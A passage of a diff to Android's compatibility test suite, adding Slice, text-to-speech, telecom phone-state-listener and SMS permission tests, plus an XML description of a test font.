+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_TEXT, item.getFormat());
+ // TODO: Test spannables here.
+ assertEquals("Expected text", item.getText());
+ }
+
+ @Test
+ public void testIcon() {
+ Uri uri = BASE_URI.buildUpon().appendPath("icon").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_IMAGE, item.getFormat());
+ assertEquals(Icon.createWithResource(mContext, R.drawable.size_48x48).toString(),
+ item.getIcon().toString());
+ }
+
+ @Test
+ public void testAction() {
+ sFlag = false;
+ CountDownLatch latch = new CountDownLatch(1);
+ BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ sFlag = true;
+ latch.countDown();
+ }
+ };
+ mContext.registerReceiver(receiver,
+ new IntentFilter(mContext.getPackageName() + ".action"));
+ Uri uri = BASE_URI.buildUpon().appendPath("action").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_ACTION, item.getFormat());
+ try {
+ item.getAction().send();
+ } catch (CanceledException e) {
+ }
+
+ try {
+ latch.await(100, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ assertTrue(sFlag);
+ mContext.unregisterReceiver(receiver);
+ }
+
+ @Test
+ public void testColor() {
+ Uri uri = BASE_URI.buildUpon().appendPath("color").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_COLOR, item.getFormat());
+ assertEquals(0xff121212, item.getColor());
+ }
+
+ @Test
+ public void testTimestamp() {
+ Uri uri = BASE_URI.buildUpon().appendPath("timestamp").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+ assertEquals(1, s.getItems().size());
+
+ SliceItem item = s.getItems().get(0);
+ assertEquals(SliceItem.FORMAT_TIMESTAMP, item.getFormat());
+ assertEquals(43, item.getTimestamp());
+ }
+
+ @Test
+ public void testHints() {
+ // Note this tests that hints are propagated through to the client but not that any specific
+ // hints have any effects.
+ Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
+ Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+ Collections.emptyList());
+ assertEquals(uri, s.getUri());
+
+ assertEquals(Arrays.asList(Slice.HINT_LIST), s.getHints());
+ assertEquals(Arrays.asList(Slice.HINT_TITLE), s.getItems().get(0).getHints());
+ assertEquals(Arrays.asList(Slice.HINT_NO_TINT, Slice.HINT_LARGE),
+ s.getItems().get(1).getHints());
+ }
+}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 857ffd8..6b3abf6 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -15,6 +15,7 @@
*/
package android.speech.tts.cts;
+import android.os.ConditionVariable;
import android.media.AudioFormat;
import android.os.ConditionVariable;
import android.speech.tts.SynthesisCallback;
@@ -37,6 +38,10 @@
// Object that onSynthesizeText will #block on, if set to non-null
public static volatile ConditionVariable sSynthesizeTextWait;
+ // Condition variable that onSynthesizeText will #open when it started
+ // synethesizing, if set to non-null.
+ public static volatile ConditionVariable sSynthesizeTextStartEvent;
+
private ArrayList<Locale> supportedLanguages = new ArrayList<Locale>();
private ArrayList<Locale> supportedCountries = new ArrayList<Locale>();
private ArrayList<Locale> GBFallbacks = new ArrayList<Locale>();
@@ -80,6 +85,11 @@
return;
}
+ final ConditionVariable synthesizeTextStartEvent = sSynthesizeTextStartEvent;
+ if (synthesizeTextStartEvent != null) {
+ sSynthesizeTextStartEvent.open();
+ }
+
final ConditionVariable synthesizeTextWait = sSynthesizeTextWait;
if (synthesizeTextWait != null) {
synthesizeTextWait.block(10000); // 10s timeout
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 4d9faad..8e54d31 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -117,6 +117,27 @@
}
}
+ public void testSpeakStopBehindOtherAudioPlayback() throws Exception {
+ final ConditionVariable synthesizeTextWait = new ConditionVariable();
+ final ConditionVariable synthesizeTextStartEvent = new ConditionVariable();
+ StubTextToSpeechService.sSynthesizeTextWait = synthesizeTextWait;
+ StubTextToSpeechService.sSynthesizeTextStartEvent = synthesizeTextStartEvent;
+
+ // Make the audio playback queue busy by putting a 30s of silence.
+ getTts().stop();
+ getTts().playSilentUtterance(30000, TextToSpeech.QUEUE_ADD, "silence");
+
+ // speak(), wait it to starting in the service, and stop().
+ int result = getTts().speak(UTTERANCE, TextToSpeech.QUEUE_ADD, null, "stop");
+ assertEquals("speak() failed", TextToSpeech.SUCCESS, result);
+ assertTrue("synthesis not started", synthesizeTextStartEvent.block(10000));
+ getTts().stop();
+
+ // Wake up the Stubs #onSynthesizeSpeech (one that will be stopped in-progress)
+ synthesizeTextWait.open();
+
+ assertTrue("speak() stop callback timeout", mTts.waitForStop("stop"));
+ }
public void testMediaPlayerFails() throws Exception {
File sampleFile = new File(Environment.getExternalStorageDirectory(), "notsound.wav");
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 573e2ee..77b28a4 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test android-support-test
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index c572629..086f2cb 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -16,6 +16,8 @@
package android.systemintents.cts;
+import static org.junit.Assert.assertTrue;
+
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
@@ -23,14 +25,17 @@
import android.net.Uri;
import android.provider.Settings;
import android.support.test.filters.MediumTest;
-import android.test.AndroidTestCase;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import org.junit.Rule;
import org.junit.Test;
+import org.junit.runner.RunWith;
@MediumTest
-public class TestSystemIntents extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class TestSystemIntents {
+
/*
* List of activity intents defined by the system. Activities to handle each of these
* intents must all exist.
@@ -56,7 +61,6 @@
}
}
- @Rule
private final IntentEntry[] mTestIntents = {
/* Settings-namespace intent actions */
new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
@@ -76,7 +80,7 @@
@Test
public void testSystemIntents() {
- final PackageManager pm = getContext().getPackageManager();
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
int productFlags = 0;
if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
@@ -87,7 +91,7 @@
productFlags |= EXCLUDE_NON_TELEPHONY;
}
- final Configuration config = getContext().getResources().getConfiguration();
+ final Configuration config = InstrumentationRegistry.getContext().getResources().getConfiguration();
if ((config.uiMode & Configuration.UI_MODE_TYPE_WATCH) != 0) {
productFlags |= EXCLUDE_WATCH;
}
@@ -99,4 +103,4 @@
}
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 93e4c65..ea29552 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -15,18 +15,21 @@
*/
package android.telecom.cts;
+
import static android.telecom.cts.TestUtils.PACKAGE;
import static android.telecom.cts.TestUtils.TAG;
import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
-import static org.hamcrest.CoreMatchers.not;
import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
import static org.junit.Assert.assertThat;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
import android.telecom.Call;
import android.telecom.CallAudioState;
import android.telecom.Conference;
@@ -37,13 +40,18 @@
import android.telecom.TelecomManager;
import android.telecom.VideoProfile;
import android.telecom.cts.MockInCallService.InCallServiceCallbacks;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
import android.util.Log;
+import android.util.Pair;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
/**
@@ -59,6 +67,7 @@
Context mContext;
TelecomManager mTelecomManager;
+ TelephonyManager mTelephonyManager;
TestUtils.InvokeCounter mOnBringToForegroundCounter;
TestUtils.InvokeCounter mOnCallAudioStateChangedCounter;
@@ -79,33 +88,86 @@
String mPreviousDefaultDialer = null;
MockConnectionService connectionService = null;
+ HandlerThread mPhoneStateListenerThread;
+ Handler mPhoneStateListenerHandler;
+ TestPhoneStateListener mPhoneStateListener;
+
+ static class TestPhoneStateListener extends PhoneStateListener {
+ /** Semaphore released for every callback invocation. */
+ public Semaphore mCallbackSemaphore = new Semaphore(0);
+
+ List<Pair<Integer, String>> mCallStates = new ArrayList<>();
+
+ @Override
+ public void onCallStateChanged(int state, String number) {
+ mCallStates.add(Pair.create(state, number));
+ mCallbackSemaphore.release();
+ }
+ }
+
boolean mShouldTestTelecom = true;
@Override
protected void setUp() throws Exception {
super.setUp();
mContext = getInstrumentation().getContext();
- mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
mShouldTestTelecom = TestUtils.shouldTestTelecom(mContext);
- if (mShouldTestTelecom) {
- mPreviousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
- TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
- setupCallbacks();
+ if (!mShouldTestTelecom) {
+ return;
}
+
+ mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+ mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+
+ mPreviousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+ TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
+ setupCallbacks();
+
+ // PhoneStateListener's public API registers the listener on the calling thread, which must
+ // be a looper thread. So we need to create and register the listener in a custom looper
+ // thread.
+ mPhoneStateListenerThread = new HandlerThread("PhoneStateListenerThread");
+ mPhoneStateListenerThread.start();
+ mPhoneStateListenerHandler = new Handler(mPhoneStateListenerThread.getLooper());
+ final CountDownLatch registeredLatch = new CountDownLatch(1);
+ mPhoneStateListenerHandler.post(new Runnable() {
+ @Override
+ public void run() {
+ mPhoneStateListener = new TestPhoneStateListener();
+ mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_CALL_STATE);
+ registeredLatch.countDown();
+ }
+ });
+ registeredLatch.await(
+ TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S, TimeUnit.SECONDS);
}
@Override
protected void tearDown() throws Exception {
- if (mShouldTestTelecom) {
- cleanupCalls();
- if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
- TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
- }
- tearDownConnectionService(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
- assertMockInCallServiceUnbound();
- }
super.tearDown();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ final CountDownLatch unregisteredLatch = new CountDownLatch(1);
+ mPhoneStateListenerHandler.post(new Runnable() {
+ @Override
+ public void run() {
+ mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_NONE);
+ unregisteredLatch.countDown();
+ }
+ });
+ unregisteredLatch.await(
+ TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S, TimeUnit.SECONDS);
+ mPhoneStateListenerThread.quit();
+
+ cleanupCalls();
+ if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+ TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+ }
+ tearDownConnectionService(TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+ assertMockInCallServiceUnbound();
}
protected PhoneAccount setupConnectionService(MockConnectionService connectionService,
@@ -506,6 +568,14 @@
assertConferenceState(conference, Connection.STATE_ACTIVE);
}
+ void verifyPhoneStateListenerCallbacksForCall(int expectedCallState) throws Exception {
+ assertTrue(mPhoneStateListener.mCallbackSemaphore.tryAcquire(
+ TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S, TimeUnit.SECONDS));
+ Pair<Integer, String> callState = mPhoneStateListener.mCallStates.get(0);
+ assertEquals(expectedCallState, (int) callState.first);
+ assertEquals(getTestNumber().getSchemeSpecificPart(), callState.second);
+ }
+
/**
* Disconnect the created test call and verify that Telecom has cleared all calls.
*/
diff --git a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
index f3ffeaa..472b03b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/IncomingCallTest.java
@@ -16,17 +16,18 @@
package android.telecom.cts;
+import static android.telecom.cts.TestUtils.COMPONENT;
+import static android.telecom.cts.TestUtils.PACKAGE;
+
import android.content.ComponentName;
import android.os.Bundle;
import android.telecom.Connection;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
import java.util.Collection;
-import static android.telecom.cts.TestUtils.COMPONENT;
-import static android.telecom.cts.TestUtils.PACKAGE;
-
/**
* Tests valid/invalid incoming calls that are received from the ConnectionService
* and registered through TelecomManager
@@ -36,12 +37,6 @@
private static final PhoneAccountHandle TEST_INVALID_HANDLE = new PhoneAccountHandle(
new ComponentName(PACKAGE, COMPONENT), "WRONG_ID");
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getContext();
- }
-
public void testAddNewIncomingCall_CorrectPhoneAccountHandle() throws Exception {
if (!mShouldTestTelecom) {
return;
@@ -54,6 +49,16 @@
assertTrue(connections.contains(connection3));
}
+ public void testPhoneStateListenerInvokedOnIncomingCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ addAndVerifyNewIncomingCall(createTestNumber(), null);
+ verifyConnectionForIncomingCall();
+ verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_RINGING);
+ }
+
/**
* Tests to be sure that new incoming calls can only be added using a valid PhoneAccountHandle
* (b/26864502). If a PhoneAccount has not been registered for the PhoneAccountHandle, then
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 38a6709..6df32f8 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -16,13 +16,12 @@
package android.telecom.cts;
-import static android.telecom.cts.TestUtils.shouldTestTelecom;
-
import android.content.Context;
import android.media.AudioManager;
import android.os.Bundle;
import android.telecom.CallAudioState;
import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
/**
* Verifies the behavior of Telecom during various outgoing call flows.
@@ -94,4 +93,14 @@
}
assertNotAudioRoute(mInCallCallbacks.getService(), CallAudioState.ROUTE_SPEAKER);
}
+
+ public void testPhoneStateListenerInvokedOnOutgoingCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ verifyConnectionForOutgoingCall();
+ verifyPhoneStateListenerCallbacksForCall(TelephonyManager.CALL_STATE_OFFHOOK);
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 5c67190..ac717d7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -15,8 +15,6 @@
*/
package android.telecom.cts;
-import com.android.compatibility.common.util.ApiLevelUtil;
-
import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
@@ -28,7 +26,6 @@
import android.os.Handler;
import android.os.Looper;
import android.os.ParcelFileDescriptor;
-import android.os.Process;
import android.os.SystemClock;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
@@ -53,6 +50,8 @@
static final long WAIT_FOR_STATE_CHANGE_TIMEOUT_MS = 10000;
static final long WAIT_FOR_CALL_ADDED_TIMEOUT_S = 15;
static final long WAIT_FOR_STATE_CHANGE_TIMEOUT_CALLBACK = 50;
+ static final long WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S = 15;
+ static final long WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S = 15;
// Non-final to allow modification by tests not in this package (e.g. permission-related
// tests in the Telecom2 test package.
diff --git a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
index cbd18b2..748b6963 100644
--- a/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
+++ b/tests/tests/telephony/EmbmsMiddlewareTestApp/Android.mk
@@ -14,7 +14,7 @@
LOCAL_MODULE_TAGS := optional
LOCAL_SDK_VERSION := test_current
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
index 8ffee99..74f9d13 100755
--- a/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SmsManagerTest.java
@@ -283,6 +283,24 @@
}
}
+
+ public void testSmsNotPersisted_failsWithoutCarrierPermissions() throws Exception {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
+ TextUtils.isEmpty(mDestAddr));
+
+ try {
+ getSmsManager().sendTextMessageWithoutPersisting(mDestAddr, null /*scAddress */,
+ mDestAddr, mSentIntent, mDeliveredIntent);
+ fail("We should get a SecurityException due to not having carrier privileges");
+ } catch (SecurityException e) {
+ // Success
+ }
+ }
+
private void init() {
mSendReceiver.reset();
mDeliveryReceiver.reset();
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index a6404e0..4c58f8f 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -358,12 +358,12 @@
}
private void assertSerialNumber() {
- assertNotNull("Non-telephony devices must have a Build.SERIAL number.",
- Build.SERIAL);
+ assertNotNull("Non-telephony devices must have a Build.getSerial() number.",
+ Build.getSerial());
assertTrue("Hardware id must be no longer than 20 characters.",
- Build.SERIAL.length() <= 20);
+ Build.getSerial().length() <= 20);
assertTrue("Hardware id must be alphanumeric.",
- Pattern.matches("[0-9A-Za-z]+", Build.SERIAL));
+ Pattern.matches("[0-9A-Za-z]+", Build.getSerial()));
}
private void assertMacAddress(String macAddress) {
diff --git a/tests/tests/text/assets/ellipsis_test_font.ttf b/tests/tests/text/assets/ellipsis_test_font.ttf
new file mode 100644
index 0000000..ad0d79b
--- /dev/null
+++ b/tests/tests/text/assets/ellipsis_test_font.ttf
Binary files differ
diff --git a/tests/tests/text/assets/ellipsis_test_font.ttx b/tests/tests/text/assets/ellipsis_test_font.ttx
new file mode 100644
index 0000000..0c74b47
--- /dev/null
+++ b/tests/tests/text/assets/ellipsis_test_font.ttx
@@ -0,0 +1,238 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ <GlyphID id="2" name="ellipsis"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="0x10000"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="0"/>
+ <mtx name="a" width="1000" lsb="0"/>
+ <mtx name="ellipsis" width="1000" lsb="0"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" /> <!-- LATIN SMALL LETTER A -->
+ <map code="0x2026" name="ellipsis" /> <!-- HORIZONTAL ELLIPSIS -->
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="ellipsis" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+ <GPOS>
+ <Version value="0x00010000"/>
+ <ScriptList>
+ <!-- ScriptCount=1 -->
+ <ScriptRecord index="0">
+ <ScriptTag value="DFLT"/>
+ <Script>
+ <DefaultLangSys>
+ <ReqFeatureIndex value="65535"/>
+ <!-- FeatureCount=1 -->
+ <FeatureIndex index="0" value="0"/>
+ </DefaultLangSys>
+ <!-- LangSysCount=0 -->
+ </Script>
+ </ScriptRecord>
+ </ScriptList>
+ <FeatureList>
+ <!-- FeatureCount=1 -->
+ <FeatureRecord index="0">
+ <FeatureTag value="kern"/>
+ <Feature>
+ <!-- LookupCount=1 -->
+ <LookupListIndex index="0" value="0"/>
+ </Feature>
+ </FeatureRecord>
+ </FeatureList>
+ <LookupList>
+ <!-- LookupCount=1 -->
+ <Lookup index="0">
+ <LookupType value="2"/>
+ <LookupFlag value="0"/>
+ <PairPos index="0" Format="1">
+ <Coverage Format="1">
+ <Glyph value="a"/>
+ <Glyph value="ellipsis"/>
+ </Coverage>
+ <ValueFormat1 value="4"/>
+ <ValueFormat2 value="0"/>
+ <PairSet index="0">
+ <PairValueRecord index="0">
+ <SecondGlyph value="ellipsis"/>
+ <Value1 XAdvance="500"/>
+ </PairValueRecord>
+ </PairSet>
+ <PairSet index="1">
+ <PairValueRecord index="0">
+ <SecondGlyph value="a"/>
+ <Value1 XAdvance="500"/>
+ </PairValueRecord>
+ </PairSet>
+ </PairPos>
+ </Lookup>
+ </LookupList>
+ </GPOS>
+</ttFont>
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
new file mode 100644
index 0000000..1bad6fe
--- /dev/null
+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttf
Binary files differ
diff --git a/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
new file mode 100644
index 0000000..0cf0f79
--- /dev/null
